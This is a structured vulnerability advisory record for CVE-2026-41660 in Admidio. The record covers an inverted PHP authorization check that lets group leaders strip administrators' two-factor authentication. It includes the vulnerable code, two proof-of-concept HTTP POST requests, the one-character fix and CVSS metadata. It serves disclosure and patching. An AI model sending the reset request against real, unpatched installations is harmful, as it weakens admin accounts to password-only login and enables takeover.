{"id":"CVE-2026-41660","aliases":["CVE-2026-41660","GHSA-rh3w-4ccx-prf9"],"related":[],"kind":"vulnerability","state":"published","title":"Admidio: Inverted 2FA Reset Authorization Check Lets Group Leaders Strip Admin TOTP","summary":"Admidio is an open-source user management solution. Prior to version 5.0.9, a logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA. This issue has been patched in version 5.0.9.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Admidio is an open-source user management solution. Prior to version 5.0.9, a logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA. This issue has been patched in version 5.0.9.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA.\n\n## Details\n\nIn `modules/profile/two_factor_authentication.php` at line 84, the authorization check uses an inverted condition:\n\n```php\n// modules/profile/two_factor_authentication.php line 84\nif (!($gCurrentUser->isAdministrator() || $gCurrentUserId !== $userId))\n{\n    throw new AdmException('SYS_NO_RIGHTS');\n}\n```\n\nBy De Morgan's law, this condition evaluates as:\n- Blocks when: `NOT isAdministrator() AND $gCurrentUserId === $userId`\n- In practice: blocks non-admins from resetting their OWN 2FA\n- Passes: non-admins resetting OTHER users' 2FA (the opposite of the intended behavior)\n\nThe intended logic should block non-admins from resetting other users' 2FA. The `!==` operator on line 84 should be `===`.\n\nA group leader who holds `hasRightEditProfile()` permission on an admin user (checked earlier in the flow) can exploit this to strip 2FA from administrator accounts, reducing their security to password-only authentication.\n\n## Proof of Concept\n\n1. As `testuser` (a non-admin group leader with edit rights on admin profiles), send:\n\n```http\nPOST /adm_program/modules/profile/two_factor_authentication.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nCookie: ADMIDIO_..._SESSION_ID=<testuser_session>\n\nmode=reset&user_uuid=<admin_user_uuid>\n```\n\nResult: the server removes 2FA from the admin account.\n\n2. As `testuser`, attempt to reset their own 2FA:\n\n```http\nPOST /adm_program/modules/profile/two_factor_authentication.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nCookie: ADMIDIO_..._SESSION_ID=<testuser_session>\n\nmode=reset&user_uuid=<testuser_user_uuid>\n```\n\nResult: `SYS_NO_RIGHTS` error. The user cannot reset their own 2FA.\n\nThis confirms the authorization logic is inverted.\n\n## Impact\n\nA group leader (or any user with profile edit rights on an admin) can disable two-factor authentication on administrator accounts. This degrades admin account security to password-only, opening the door to credential stuffing or brute force attacks without a 2FA barrier.\n\n## Recommended Fix\n\nChange `!==` to `===` on line 84 of `modules/profile/two_factor_authentication.php`:\n\n```php\n// Fixed condition: block non-admins from resetting OTHER users' 2FA\nif (!($gCurrentUser->isAdministrator() || $gCurrentUserId === $userId))\n{\n    throw new AdmException('SYS_NO_RIGHTS');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","format":"markdown","source":"ghsa"}],"published":"2026-04-29T21:49:24.000Z","modified":"2026-06-17T10:46:57.567Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","score":7.1,"rating":"HIGH"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 5.0.9","status":"affected"}],"vendor":"Admidio","product":"admidio","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.0.9"}],"ecosystem":"Packagist","package":"admidio/admidio","purl":"pkg:composer/admidio/admidio","source":"ghsa"}],"references":[{"url":"https://github.com/Admidio/admidio/security/advisories/GHSA-rh3w-4ccx-prf9","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41660","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/Admidio/admidio","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-07T12:44:27.859Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41660","url":"https://www.cve.org/CVERecord?id=CVE-2026-41660","licence":"CVE Terms of Use","modified":"2026-05-07T12:44:52.834Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rh3w-4ccx-prf9","url":"https://github.com/advisories/GHSA-rh3w-4ccx-prf9","licence":"CC-BY-4.0","modified":"2026-05-08T20:04:35.022Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41660","licence":"Public domain","modified":"2026-06-17T10:46:57.567Z"}],"updatedAt":"2026-11-25T22:59:20.850Z","epss":{"score":0.00337,"percentile":0.28994,"date":"2026-12-01T12:00:22.000Z"}}